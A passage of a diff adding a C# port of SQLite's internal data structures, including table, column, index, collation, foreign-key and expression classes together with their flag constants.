parameters + ** are interpreted in the same way as the first 4 parameters to + ** FUNCTION(). + ** + ** LIKEFUNC(zName, nArg, pArg, flags) + ** Used to create a scalar function definition of a function zName + ** that accepts nArg arguments and is implemented by a call to C + ** function likeFunc. Argument pArg is cast to a (void *) and made + ** available as the function user-data (sqlite3_user_data()). The + ** FuncDef.flags variable is set to the value passed as the flags + ** parameter. + */ + //#define FUNCTION(zName, nArg, iArg, bNC, xFunc) \ + // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ + //SQLITE_INT_TO_PTR(iArg), 0, xFunc, 0, 0, #zName, 0} + + static FuncDef FUNCTION( string zName, i16 nArg, int iArg, u8 bNC, dxFunc xFunc ) + { return new FuncDef( zName, SQLITE_UTF8, nArg, iArg, (u8)( bNC * SQLITE_FUNC_NEEDCOLL ), xFunc ); } + + //#define STR_FUNCTION(zName, nArg, pArg, bNC, xFunc) \ + // {nArg, SQLITE_UTF8, bNC*SQLITE_FUNC_NEEDCOLL, \ + //pArg, 0, xFunc, 0, 0, #zName, 0} + + //#define LIKEFUNC(zName, nArg, arg, flags) \ + // {nArg, SQLITE_UTF8, flags, (void *)arg, 0, likeFunc, 0, 0, #zName, 0} + static FuncDef LIKEFUNC( string zName, i16 nArg, object arg, u8 flags ) + { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, likeFunc, flags ); } + + //#define AGGREGATE(zName, nArg, arg, nc, xStep, xFinal) \ + // {nArg, SQLITE_UTF8, nc*SQLITE_FUNC_NEEDCOLL, \ + //SQLITE_INT_TO_PTR(arg), 0, 0, xStep,xFinal,#zName,0} + + static FuncDef AGGREGATE( string zName, i16 nArg, int arg, u8 nc, dxStep xStep, dxFinal xFinal ) + { return new FuncDef( zName, SQLITE_UTF8, nArg, arg, (u8)( nc * SQLITE_FUNC_NEEDCOLL ), xStep, xFinal ); } + + /* + ** All current savepoints are stored in a linked list starting at + ** sqlite3.pSavepoint. The first element in the list is the most recently + ** opened savepoint. Savepoints are added to the list by the vdbe + ** OP_Savepoint instruction. + */ + //struct Savepoint { + // char *zName; /* Savepoint name (nul-terminated) */ + // Savepoint *pNext; /* Parent savepoint (if any) */ + //}; + public class Savepoint + { + public string zName; /* Savepoint name (nul-terminated) */ + public Savepoint pNext; /* Parent savepoint (if any) */ + }; + /* + ** The following are used as the second parameter to sqlite3Savepoint(), + ** and as the P1 argument to the OP_Savepoint instruction. + */ + const int SAVEPOINT_BEGIN = 0; //#define SAVEPOINT_BEGIN 0 + const int SAVEPOINT_RELEASE = 1; //#define SAVEPOINT_RELEASE 1 + const int SAVEPOINT_ROLLBACK = 2; //#define SAVEPOINT_ROLLBACK 2 + + /* + ** Each SQLite module (virtual table definition) is defined by an + ** instance of the following structure, stored in the sqlite3.aModule + ** hash table. + */ + public class Module + { + public sqlite3_module pModule; /* Callback pointers */ + public string zName; /* Name passed to create_module() */ + public object pAux; /* pAux passed to create_module() */ + public dxDestroy xDestroy;//)(void *); /* Module destructor function */ + }; + + /* +** information about each column of an SQL table is held in an instance +** of this structure. +*/ + public class Column + { + public string zName; /* Name of this column */ + public Expr pDflt; /* Default value of this column */ + public string zDflt; /* Original text of the default value */ + public string zType; /* Data type for this column */ + public string zColl; /* Collating sequence. If NULL, use the default */ + public u8 notNull; /* True if there is a NOT NULL constraint */ + public u8 isPrimKey; /* True if this column is part of the PRIMARY KEY */ + public char affinity; /* One of the SQLITE_AFF_... values */ +#if !SQLITE_OMIT_VIRTUALTABLE +public u8 isHidden; /* True if this column is 'hidden' */ +#endif + public Column Copy() + { + Column cp = (Column)MemberwiseClone(); + if ( cp.pDflt != null ) cp.pDflt = pDflt.Copy(); + return cp; + } + }; + + /* + ** A "Collating Sequence" is defined by an instance of the following + ** structure. Conceptually, a collating sequence consists of a name and + ** a comparison routine that defines the order of that sequence. + ** + ** There may two separate implementations of the collation function, one + ** that processes text in UTF-8 encoding (CollSeq.xCmp) and another that + ** processes text encoded in UTF-16 (CollSeq.xCmp16), using the machine + ** native byte order. When a collation sequence is invoked, SQLite selects + ** the version that will require the least expensive encoding + ** translations, if any. + ** + ** The CollSeq.pUser member variable is an extra parameter that passed in + ** as the first argument to the UTF-8 comparison function, xCmp. + ** CollSeq.pUser16 is the equivalent for the UTF-16 comparison function, + ** xCmp16. + ** + ** If both CollSeq.xCmp and CollSeq.xCmp16 are NULL, it means that the + ** collating sequence is undefined. Indices built on an undefined + ** collating sequence may not be read or written. + */ + public class CollSeq + { + public string zName; /* Name of the collating sequence, UTF-8 encoded */ + public u8 enc; /* Text encoding handled by xCmp() */ + public u8 type; /* One of the SQLITE_COLL_... values below */ + public object pUser; /* First argument to xCmp() */ + public dxCompare xCmp;//)(void*,int, const void*, int, const void*); + public dxDelCollSeq xDel;//)(void*); /* Destructor for pUser */ + + public CollSeq Copy() + { + if ( this == null ) + return null; + else + { + CollSeq cp = (CollSeq)MemberwiseClone(); + return cp; + } + } + }; + + /* + ** Allowed values of CollSeq.type: + */ + const int SQLITE_COLL_BINARY = 1;//#define SQLITE_COLL_BINARY 1 /* The default memcmp() collating sequence */ + const int SQLITE_COLL_NOCASE = 2;//#define SQLITE_COLL_NOCASE 2 /* The built-in NOCASE collating sequence */ + const int SQLITE_COLL_REVERSE = 3;//#define SQLITE_COLL_REVERSE 3 /* The built-in REVERSE collating sequence */ + const int SQLITE_COLL_USER = 0;//#define SQLITE_COLL_USER 0 /* Any other user-defined collating sequence */ + + /* + ** A sort order can be either ASC or DESC. + */ + const int SQLITE_SO_ASC = 0;//#define SQLITE_SO_ASC 0 /* Sort in ascending order */ + const int SQLITE_SO_DESC = 1;//#define SQLITE_SO_DESC 1 /* Sort in ascending order */ + + /* + ** Column affinity types. + ** + ** These used to have mnemonic name like 'i' for SQLITE_AFF_INTEGER and + ** 't' for SQLITE_AFF_TEXT. But we can save a little space and improve + ** the speed a little by numbering the values consecutively. + ** + ** But rather than start with 0 or 1, we begin with 'a'. That way, + ** when multiple affinity types are concatenated into a string and + ** used as the P4 operand, they will be more readable. + ** + ** Note also that the numeric types are grouped together so that testing + ** for a numeric type is a single comparison. + */ + const char SQLITE_AFF_TEXT = 'a';//#define SQLITE_AFF_TEXT 'a' + const char SQLITE_AFF_NONE = 'b';//#define SQLITE_AFF_NONE 'b' + const char SQLITE_AFF_NUMERIC = 'c';//#define SQLITE_AFF_NUMERIC 'c' + const char SQLITE_AFF_INTEGER = 'd';//#define SQLITE_AFF_INTEGER 'd' + const char SQLITE_AFF_REAL = 'e';//#define SQLITE_AFF_REAL 'e' + + //#define sqlite3IsNumericAffinity(X) ((X)>=SQLITE_AFF_NUMERIC) + + /* + ** The SQLITE_AFF_MASK values masks off the significant bits of an + ** affinity value. + */ + const int SQLITE_AFF_MASK = 0x67;//#define SQLITE_AFF_MASK 0x67 + + /* + ** Additional bit values that can be ORed with an affinity without + ** changing the affinity. + */ + const int SQLITE_JUMPIFNULL = 0x08;//#define SQLITE_JUMPIFNULL 0x08 /* jumps if either operand is NULL */ + const int SQLITE_STOREP2 = 0x10; //#define SQLITE_STOREP2 0x10 /* Store result in reg[P2] rather than jump */ + + /* + ** An object of this type is created for each virtual table present in + ** the database schema. + ** + ** If the database schema is shared, then there is one instance of this + ** structure for each database connection (sqlite3*) that uses the shared + ** schema. This is because each database connection requires its own unique + ** instance of the sqlite3_vtab* handle used to access the virtual table + ** implementation. sqlite3_vtab* handles can not be shared between + ** database connections, even when the rest of the in-memory database + ** schema is shared, as the implementation often stores the database + ** connection handle passed to it via the xConnect() or xCreate() method + ** during initialization internally. This database connection handle may + ** then used by the virtual table implementation to access real tables + ** within the database. So that they appear as part of the callers + ** transaction, these accesses need to be made via the same database + ** connection as that used to execute SQL operations on the virtual table. + ** + ** All VTable objects that correspond to a single table in a shared + ** database schema are initially stored in a linked-list pointed to by + ** the Table.pVTable member variable of the corresponding Table object. + ** When an sqlite3_prepare() operation is required to access the virtual + ** table, it searches the list for the VTable that corresponds to the + ** database connection doing the preparing so as to use the correct + ** sqlite3_vtab* handle in the compiled query. + ** + ** When an in-memory Table object is deleted (for example when the + ** schema is being reloaded for some reason), the VTable objects are not + ** deleted and the sqlite3_vtab* handles are not xDisconnect()ed + ** immediately. Instead, they are moved from the Table.pVTable list to + ** another linked list headed by the sqlite3.pDisconnect member of the + ** corresponding sqlite3 structure. They are then deleted/xDisconnected + ** next time a statement is prepared using said sqlite3*. This is done + ** to avoid deadlock issues involving multiple sqlite3.mutex mutexes. + ** Refer to comments above function sqlite3VtabUnlockList() for an + ** explanation as to why it is safe to add an entry to an sqlite3.pDisconnect + ** list without holding the corresponding sqlite3.mutex mutex. + ** + ** The memory for objects of this type is always allocated by + ** sqlite3DbMalloc(), using the connection handle stored in VTable.db as + ** the first argument. + */ + public class VTable + { + public sqlite3 db; /* Database connection associated with this table */ + public Module pMod; /* Pointer to module implementation */ + public sqlite3_vtab pVtab; /* Pointer to vtab instance */ + public int nRef; /* Number of pointers to this structure */ + public VTable pNext; /* Next in linked list (see above) */ + }; + + /* + ** Each SQL table is represented in memory by an instance of the + ** following structure. + ** + ** Table.zName is the name of the table. The case of the original + ** CREATE TABLE statement is stored, but case is not significant for + ** comparisons. + ** + ** Table.nCol is the number of columns in this table. Table.aCol is a + ** pointer to an array of Column structures, one for each column. + ** + ** If the table has an INTEGER PRIMARY KEY, then Table.iPKey is the index of + ** the column that is that key. Otherwise Table.iPKey is negative. Note + ** that the datatype of the PRIMARY KEY must be INTEGER for this field to + ** be set. An INTEGER PRIMARY KEY is used as the rowid for each row of + ** the table. If a table has no INTEGER PRIMARY KEY, then a random rowid + ** is generated for each row of the table. TF_HasPrimaryKey is set if + ** the table has any PRIMARY KEY, INTEGER or otherwise. + ** + ** Table.tnum is the page number for the root BTree page of the table in the + ** database file. If Table.iDb is the index of the database table backend + ** in sqlite.aDb[]. 0 is for the main database and 1 is for the file that + ** holds temporary tables and indices. If TF_Ephemeral is set + ** then the table is stored in a file that is automatically deleted + ** when the VDBE cursor to the table is closed. In this case Table.tnum + ** refers VDBE cursor number that holds the table open, not to the root + ** page number. Transient tables are used to hold the results of a + ** sub-query that appears instead of a real table name in the FROM clause + ** of a SELECT statement. + */ + public class Table + { + public sqlite3 dbMem; /* DB connection used for lookaside allocations. */ + public string zName; /* Name of the table or view */ + public int iPKey; /* If not negative, use aCol[iPKey] as the primary key */ + public int nCol; /* Number of columns in this table */ + public Column[] aCol; /* Information about each column */ + public Index pIndex; /* List of SQL indexes on this table. */ + public int tnum; /* Root BTree node for this table (see note above) */ + public Select pSelect; /* NULL for tables. Points to definition if a view. */ + public u16 nRef; /* Number of pointers to this Table */ + public u8 tabFlags; /* Mask of TF_* values */ + public u8 keyConf; /* What to do in case of uniqueness conflict on iPKey */ + public FKey pFKey; /* Linked list of all foreign keys in this table */ + public string zColAff; /* String defining the affinity of each column */ +#if !SQLITE_OMIT_CHECK + public Expr pCheck; /* The AND of all CHECK constraints */ +#endif +#if !SQLITE_OMIT_ALTERTABLE + public int addColOffset; /* Offset in CREATE TABLE stmt to add a new column */ +#endif +#if !SQLITE_OMIT_VIRTUALTABLE + public VTable pVTable; /* List of VTable objects. */ + public int nModuleArg; /* Number of arguments to the module */ + public string[] azModuleArg;/* Text of all module args. [0] is module name */ +#endif + public Trigger pTrigger; /* List of SQL triggers on this table */ + public Schema pSchema; /* Schema that contains this table */ + public Table pNextZombie; /* Next on the Parse.pZombieTab list */ + + public Table Copy() + { + if ( this == null ) + return null; + else + { + Table cp = (Table)MemberwiseClone(); + if ( pIndex != null ) cp.pIndex = pIndex.Copy(); + if ( pSelect != null ) cp.pSelect = pSelect.Copy(); + if ( pTrigger != null ) cp.pTrigger = pTrigger.Copy(); + if ( pFKey != null ) cp.pFKey = pFKey.Copy(); +#if !SQLITE_OMIT_CHECK + // Don't Clone Checks, only copy reference via Memberwise Clone above -- + //if ( pCheck != null ) cp.pCheck = pCheck.Copy(); +#endif +#if !SQLITE_OMIT_VIRTUALTABLE +if ( pMod != null ) cp.pMod =pMod.Copy(); +if ( pVtab != null ) cp.pVtab =pVtab.Copy(); +#endif + // Don't Clone Schema, only copy reference via Memberwise Clone above -- + // if ( pSchema != null ) cp.pSchema=pSchema.Copy(); + // Don't Clone pNextZombie, only copy reference via Memberwise Clone above -- + // if ( pNextZombie != null ) cp.pNextZombie=pNextZombie.Copy(); + return cp; + } + } + }; + + /* + ** Allowed values for Tabe.tabFlags. + */ + //#define TF_Readonly 0x01 /* Read-only system table */ + //#define TF_Ephemeral 0x02 /* An ephemeral table */ + //#define TF_HasPrimaryKey 0x04 /* Table has a primary key */ + //#define TF_Autoincrement 0x08 /* Integer primary key is autoincrement */ + //#define TF_Virtual 0x10 /* Is a virtual table */ + //#define TF_NeedMetadata 0x20 /* aCol[].zType and aCol[].pColl missing */ + /* + ** Allowed values for Tabe.tabFlags. + */ + const int TF_Readonly = 0x01; /* Read-only system table */ + const int TF_Ephemeral = 0x02; /* An ephemeral table */ + const int TF_HasPrimaryKey = 0x04; /* Table has a primary key */ + const int TF_Autoincrement = 0x08; /* Integer primary key is autoincrement */ + const int TF_Virtual = 0x10; /* Is a virtual table */ + const int TF_NeedMetadata = 0x20; /* aCol[].zType and aCol[].pColl missing */ + + /* + ** Test to see whether or not a table is a virtual table. This is + ** done as a macro so that it will be optimized out when virtual + ** table support is omitted from the build. + */ +#if !SQLITE_OMIT_VIRTUALTABLE +//# define IsVirtual(X) (((X)->tabFlags & TF_Virtual)!=0) +static bool IsVirtual( Table X) { return (X.tabFlags & TF_Virtual)!=0;} +//# define IsHiddenColumn(X) ((X)->isHidden) +static bool IsVirtual( Column X) { return X.isHidden!=0;} +#else + //# define IsVirtual(X) 0 + static bool IsVirtual( Table T ) { return false; } + //# define IsHiddenColumn(X) 0 + static bool IsHiddenColumn( Column C ) { return false; } +#endif + + /* +** Each foreign key constraint is an instance of the following structure. +** +** A foreign key is associated with two tables. The "from" table is +** the table that contains the REFERENCES clause that creates the foreign +** key. The "to" table is the table that is named in the REFERENCES clause. +** Consider this example: +** +** CREATE TABLE ex1( +** a INTEGER PRIMARY KEY, +** b INTEGER CONSTRAINT fk1 REFERENCES ex2(x) +** ); +** +** For foreign key "fk1", the from-table is "ex1" and the to-table is "ex2". +** +** Each REFERENCES clause generates an instance of the following structure +** which is attached to the from-table. The to-table need not exist when +** the from-table is created. The existence of the to-table is not checked. +*/ + public class FKey + { + public Table pFrom; /* The table that contains the REFERENCES clause */ + public FKey pNextFrom; /* Next foreign key in pFrom */ + public string zTo; /* Name of table that the key points to */ + public int nCol; /* Number of columns in this key */ + public u8 isDeferred; /* True if constraint checking is deferred till COMMIT */ + public u8 updateConf; /* How to resolve conflicts that occur on UPDATE */ + public u8 deleteConf; /* How to resolve conflicts that occur on DELETE */ + public u8 insertConf; /* How to resolve conflicts that occur on INSERT */ + public class sColMap + { /* Mapping of columns in pFrom to columns in zTo */ + public int iFrom; /* Index of column in pFrom */ + public string zCol; /* Name of column in zTo. If 0 use PRIMARY KEY */ + }; + public sColMap[] aCol; /* One entry for each of nCol column s */ + + public FKey Copy() + { + if ( this == null ) + return null; + else + { + FKey cp = (FKey)MemberwiseClone(); + if ( pFrom != null ) cp.pFrom = pFrom.Copy(); + if ( pNextFrom != null ) cp.pNextFrom = pNextFrom.Copy(); + Debugger.Break(); // Check on the sCollMap + return cp; + } + } + + }; + + /* + ** SQLite supports many different ways to resolve a constraint + ** error. ROLLBACK processing means that a constraint violation + ** causes the operation in process to fail and for the current transaction + ** to be rolled back. ABORT processing means the operation in process + ** fails and any prior changes from that one operation are backed out, + ** but the transaction is not rolled back. FAIL processing means that + ** the operation in progress stops and returns an error code. But prior + ** changes due to the same operation are not backed out and no rollback + ** occurs. IGNORE means that the particular row that caused the constraint + ** error is not inserted or updated. Processing continues and no error + ** is returned. REPLACE means that preexisting database rows that caused + ** a UNIQUE constraint violation are removed so that the new insert or + ** update can proceed. Processing continues and no error is reported. + ** + ** RESTRICT, SETNULL, and CASCADE actions apply only to foreign keys. + ** RESTRICT is the same as ABORT for IMMEDIATE foreign keys and the + ** same as ROLLBACK for DEFERRED keys. SETNULL means that the foreign + ** key is set to NULL. CASCADE means that a DELETE or UPDATE of the + ** referenced table row is propagated into the row that holds the + ** foreign key. + ** + ** The following symbolic values are used to record which type + ** of action to take. + */ + const int OE_None = 0;//#define OE_None 0 /* There is no constraint to check */ + const int OE_Rollback = 1;//#define OE_Rollback 1 /* Fail the operation and rollback the transaction */ + const int OE_Abort = 2;//#define OE_Abort 2 /* Back out changes but do no rollback transaction */ + const int OE_Fail = 3;//#define OE_Fail 3 /* Stop the operation but leave all prior changes */ + const int OE_Ignore = 4;//#define OE_Ignore 4 /* Ignore the error. Do not do the INSERT or UPDATE */ + const int OE_Replace = 5;//#define OE_Replace 5 /* Delete existing record, then do INSERT or UPDATE */ + + const int OE_Restrict = 6;//#define OE_Restrict 6 /* OE_Abort for IMMEDIATE, OE_Rollback for DEFERRED */ + const int OE_SetNull = 7;//#define OE_SetNull 7 /* Set the foreign key value to NULL */ + const int OE_SetDflt = 8;//#define OE_SetDflt 8 /* Set the foreign key value to its default */ + const int OE_Cascade = 9;//#define OE_Cascade 9 /* Cascade the changes */ + + const int OE_Default = 99;//#define OE_Default 99 /* Do whatever the default action is */ + + + /* + ** An instance of the following structure is passed as the first + ** argument to sqlite3VdbeKeyCompare and is used to control the + ** comparison of the two index keys. + */ + public class KeyInfo + { + public sqlite3 db; /* The database connection */ + public u8 enc; /* Text encoding - one of the TEXT_Utf* values */ + public u16 nField; /* Number of entries in aColl[] */ + public u8[] aSortOrder; /* If defined an aSortOrder[i] is true, sort DESC */ + public CollSeq[] aColl = new CollSeq[1]; /* Collating sequence for each term of the key */ + public KeyInfo Copy() + { + return (KeyInfo)MemberwiseClone(); + } + }; + + /* + ** An instance of the following structure holds information about a + ** single index record that has already been parsed out into individual + ** values. + ** + ** A record is an object that contains one or more fields of data. + ** Records are used to store the content of a table row and to store + ** the key of an index. A blob encoding of a record is created by + ** the OP_MakeRecord opcode of the VDBE and is disassembled by the + ** OP_Column opcode. + ** + ** This structure holds a record that has already been disassembled + ** into its constituent fields. + */ + public class UnpackedRecord + { + public KeyInfo pKeyInfo; /* Collation and sort-order information */ + public u16 nField; /* Number of entries in apMem[] */ + public u16 flags; /* Boolean settings. UNPACKED_... below */ + public i64 rowid; /* Used by UNPACKED_PREFIX_SEARCH */ + public Mem[] aMem; /* Values */ + }; + + /* + ** Allowed values of UnpackedRecord.flags + */ + //#define UNPACKED_NEED_FREE 0x0001 /* Memory is from sqlite3Malloc() */ + //#define UNPACKED_NEED_DESTROY 0x0002 /* apMem[]s should all be destroyed */ + //#define UNPACKED_IGNORE_ROWID 0x0004 /* Ignore trailing rowid on key1 */ + //#define UNPACKED_INCRKEY 0x0008 /* Make this key an epsilon larger */ + //#define UNPACKED_PREFIX_MATCH 0x0010 /* A prefix match is considered OK */ + //#define UNPACKED_PREFIX_SEARCH 0x0020 /* A prefix match is considered OK */ + const int UNPACKED_NEED_FREE = 0x0001; /* Memory is from sqlite3Malloc() */ + const int UNPACKED_NEED_DESTROY = 0x0002; /* apMem[]s should all be destroyed */ + const int UNPACKED_IGNORE_ROWID = 0x0004; /* Ignore trailing rowid on key1 */ + const int UNPACKED_INCRKEY = 0x0008; /* Make this key an epsilon larger */ + const int UNPACKED_PREFIX_MATCH = 0x0010; /* A prefix match is considered OK */ + const int UNPACKED_PREFIX_SEARCH = 0x0020; /* A prefix match is considered OK */ + + /* + ** Each SQL index is represented in memory by an + ** instance of the following structure. + ** + ** The columns of the table that are to be indexed are described + ** by the aiColumn[] field of this structure. For example, suppose + ** we have the following table and index: + ** + ** CREATE TABLE Ex1(c1 int, c2 int, c3 text); + ** CREATE INDEX Ex2 ON Ex1(c3,c1); + ** + ** In the Table structure describing Ex1, nCol==3 because there are + ** three columns in the table. In the Index structure describing + ** Ex2, nColumn==2 since 2 of the 3 columns of Ex1 are indexed. + ** The value of aiColumn is {2, 0}. aiColumn[0]==2 because the + ** first column to be indexed (c3) has an index of 2 in Ex1.aCol[]. + ** The second column to be indexed (c1) has an index of 0 in + ** Ex1.aCol[], hence Ex2.aiColumn[1]==0. + ** + ** The Index.onError field determines whether or not the indexed columns + ** must be unique and what to do if they are not. When Index.onError=OE_None, + ** it means this is not a unique index. Otherwise it is a unique index + ** and the value of Index.onError indicate the which conflict resolution + ** algorithm to employ whenever an attempt is made to insert a non-unique + ** element. + */ + public class Index + { + public string zName; /* Name of this index */ + public int nColumn; /* Number of columns in the table used by this index */ + public int[] aiColumn; /* Which columns are used by this index. 1st is 0 */ + public int[] aiRowEst; /* Result of ANALYZE: Est. rows selected by each column */ + public Table pTable; /* The SQL table being indexed */ + public int tnum; /* Page containing root of this index in database file */ + public u8 onError; /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ + public u8 autoIndex; /* True if is automatically created (ex: by UNIQUE) */ + public string zColAff; /* String defining the affinity of each column */ + public Index pNext; /* The next index associated with the same table */ + public Schema pSchema; /* Schema containing this index */ + public u8[] aSortOrder; /* Array of size Index.nColumn. True==DESC, False==ASC */ + public string[] azColl; /* Array of collation sequence names for index */ + + public Index Copy() + { + if ( this == null ) + return null; + else + { + Index cp = (Index)MemberwiseClone(); + return cp; + } + } + }; + + /* + ** Each token coming out of the lexer is an instance of + ** this structure. Tokens are also used as part of an expression. + ** + ** Note if Token.z==0 then Token.dyn and Token.n are undefined and + ** may contain random values. Do not make any assumptions about Token.dyn + ** and Token.n when Token.z==0. + */ + public class Token + { +#if DEBUG_CLASS_TOKEN || DEBUG_CLASS_ALL +public string _z; /* Text of the token. Not NULL-terminated! */ +public bool dyn;// : 1; /* True for malloced memory, false for static */ +public Int32 _n;// : 31; /* Number of characters in this token */ + +public string z +{ +get { return _z; } +set { _z = value; } +} + +public Int32 n +{ +get { return _n; } +set { _n = value; } +} +#else + public string z; /* Text of the token. Not NULL-terminated! */ + public Int32 n; /* Number of characters in this token */ +#endif + public Token() + { + this.z = null; + this.n = 0; + } + public Token( string z, Int32 n ) + { + this.z = z; + this.n = n; + } + public Token Copy() + { + if ( this == null ) + return null; + else + { + Token cp = (Token)MemberwiseClone(); + if ( z == null || z.Length == 0 ) + cp.n = 0; + else + if ( n > z.Length ) cp.n = z.Length; + return cp; + } + } + } + + /* + ** An instance of this structure contains information needed to generate + ** code for a SELECT that contains aggregate functions. + ** + ** If Expr.op==TK_AGG_COLUMN or TK_AGG_FUNCTION then Expr.pAggInfo is a + ** pointer to this structure. The Expr.iColumn field is the index in + ** AggInfo.aCol[] or AggInfo.aFunc[] of information needed to generate + ** code for that node. + ** + ** AggInfo.pGroupBy and AggInfo.aFunc.pExpr point to fields within the + ** original Select structure that describes the SELECT statement. These + ** fields do not need to be freed when deallocating the AggInfo structure. + */ + public class AggInfo_col + { /* For each column used in source tables */ + public Table pTab; /* Source table */ + public int iTable; /* VdbeCursor number of the source table */ + public int iColumn; /* Column number within the source table */ + public int iSorterColumn; /* Column number in the sorting index */ + public int iMem; /* Memory location that acts as accumulator */ + public Expr pExpr; /* The original expression */ + }; + public class AggInfo_func + { /* For each aggregate function */ + public Expr pExpr; /* Expression encoding the function */ + public FuncDef pFunc; /* The aggregate function implementation */ + public int iMem; /* Memory location that acts as accumulator */ + public int iDistinct; /* Ephemeral table used to enforce DISTINCT */ + } + public class AggInfo + { + public u8 directMode; /* Direct rendering mode means take data directly +** from source tables rather than from accumulators */ + public u8 useSortingIdx; /* In direct mode, reference the sorting index rather +** than the source table */ + public int sortingIdx; /* VdbeCursor number of the sorting index */ + public ExprList pGroupBy; /* The group by clause */ + public int nSortingColumn; /* Number of columns in the sorting index */ + public AggInfo_col[] aCol; + public int nColumn; /* Number of used entries in aCol[] */ + public int nColumnAlloc; /* Number of slots allocated for aCol[] */ + public int nAccumulator; /* Number of columns that show through to the output. +** Additional columns are used only as parameters to +** aggregate functions */ + public AggInfo_func[] aFunc; + public int nFunc; /* Number of entries in aFunc[] */ + public int nFuncAlloc; /* Number of slots allocated for aFunc[] */ + + public AggInfo Copy() + { + if ( this == null ) + return null; + else + { + AggInfo cp = (AggInfo)MemberwiseClone(); + if ( pGroupBy != null ) cp.pGroupBy = pGroupBy.Copy(); + return cp; + } + } + }; + + /* + ** Each node of an expression in the parse tree is an instance + ** of this structure. + ** + ** Expr.op is the opcode. The integer parser token codes are reused + ** as opcodes here. For example, the parser defines TK_GE to be an integer + ** code representing the ">=" operator. This same integer code is reused + ** to represent the greater-than-or-equal-to operator in the expression + ** tree. + ** + ** If the expression is an SQL literal (TK_INTEGER, TK_FLOAT, TK_BLOB, + ** or TK_STRING), then Expr.token contains the text of the SQL literal. If + ** the expression is a variable (TK_VARIABLE), then Expr.token contains the + ** variable name. Finally, if the expression is an SQL function (TK_FUNCTION), + ** then Expr.token contains the name of the function. + ** + ** Expr.pRight and Expr.pLeft are the left and right subexpressions of a + ** binary operator. Either or both may be NULL. + ** + ** Expr.x.pList is a list of arguments if the expression is an SQL function, + ** a CASE expression or an IN expression of the form " IN (, ...)". + ** Expr.x.pSelect is used if the expression is a sub-select or an expression of + ** the form " IN (SELECT ...)". If the EP_xIsSelect bit is set in the + ** Expr.flags mask, then Expr.x.pSelect is valid. Otherwise, Expr.x.pList is + ** valid. + ** + ** An expression of the form ID or ID.ID refers to a column in a table. + ** For such expressions, Expr.op is set to TK_COLUMN and Expr.iTable is + ** the integer cursor number of a VDBE cursor pointing to that table and + ** Expr.iColumn is the column number for the specific column. If the + ** expression is used as a result in an aggregate SELECT, then the + ** value is also stored in the Expr.iAgg column in the aggregate so that + ** it can be accessed after all aggregates are computed. + ** + ** If the expression is an unbound variable marker (a question mark + ** character '?' in the original SQL) then the Expr.iTable holds the index + ** number for that variable. + ** + ** If the expression is a subquery then Expr.iColumn holds an integer + ** register number containing the result of the subquery. If the + ** subquery gives a constant result, then iTable is -1. If the subquery + ** gives a different answer at different times during statement processing + ** then iTable is the address of a subroutine that computes the subquery. + ** + ** If the Expr is of type OP_Column, and the table it is selecting from + ** is a disk table or the "old.*" pseudo-table, then pTab points to the + ** corresponding table definition. + ** + ** ALLOCATION NOTES: + ** + ** Expr objects can use a lot of memory space in database schema. To + ** help reduce memory requirements, sometimes an Expr object will be + ** truncated. And to reduce the number of memory allocations, sometimes + ** two or more Expr objects will be stored in a single memory allocation, + ** together with Expr.zToken strings. + ** + ** If the EP_Reduced and EP_TokenOnly flags are set when + ** an Expr object is truncated. When EP_Reduced is set, then all + ** the child Expr objects in the Expr.pLeft and Expr.pRight subtrees + ** are contained within the same memory allocation. Note, however, that + ** the subtrees in Expr.x.pList or Expr.x.pSelect are always separately + ** allocated, regardless of whether or not EP_Reduced is set. + */ + public class Expr + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +public u8 _op; /* Operation performed by this node */ +public u8 op +{ +get { return _op; } +set { _op = value; } +} +#else + public u8 op; /* Operation performed by this node */ +#endif + public char affinity; /* The affinity of the column or 0 if not a column */ +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +public u16 _flags; /* Various flags. EP_* See below */ +public u16 flags +{ +get { return _flags; } +set { _flags = value; } +} +public struct _u +{ +public string _zToken; /* Token value. Zero terminated and dequoted */ +public string zToken +{ +get { return _zToken; } +set { _zToken = value; } +} +public int iValue; /* Integer value if EP_IntValue */ +} + +#else + public struct _u + { + public string zToken; /* Token value. Zero terminated and dequoted */ + public int iValue; /* Integer value if EP_IntValue */ + } + public u16 flags; /* Various flags. EP_* See below */ +#endif + public _u u; + + /* If the EP_TokenOnly flag is set in the Expr.flags mask, then no + ** space is allocated for the fields below this point. An attempt to + ** access them will result in a segfault or malfunction. + *********************************************************************/ + + public Expr pLeft; /* Left subnode */ + public Expr pRight; /* Right subnode */ + public struct _x + { + public ExprList pList; /* Function arguments or in " IN ( IN (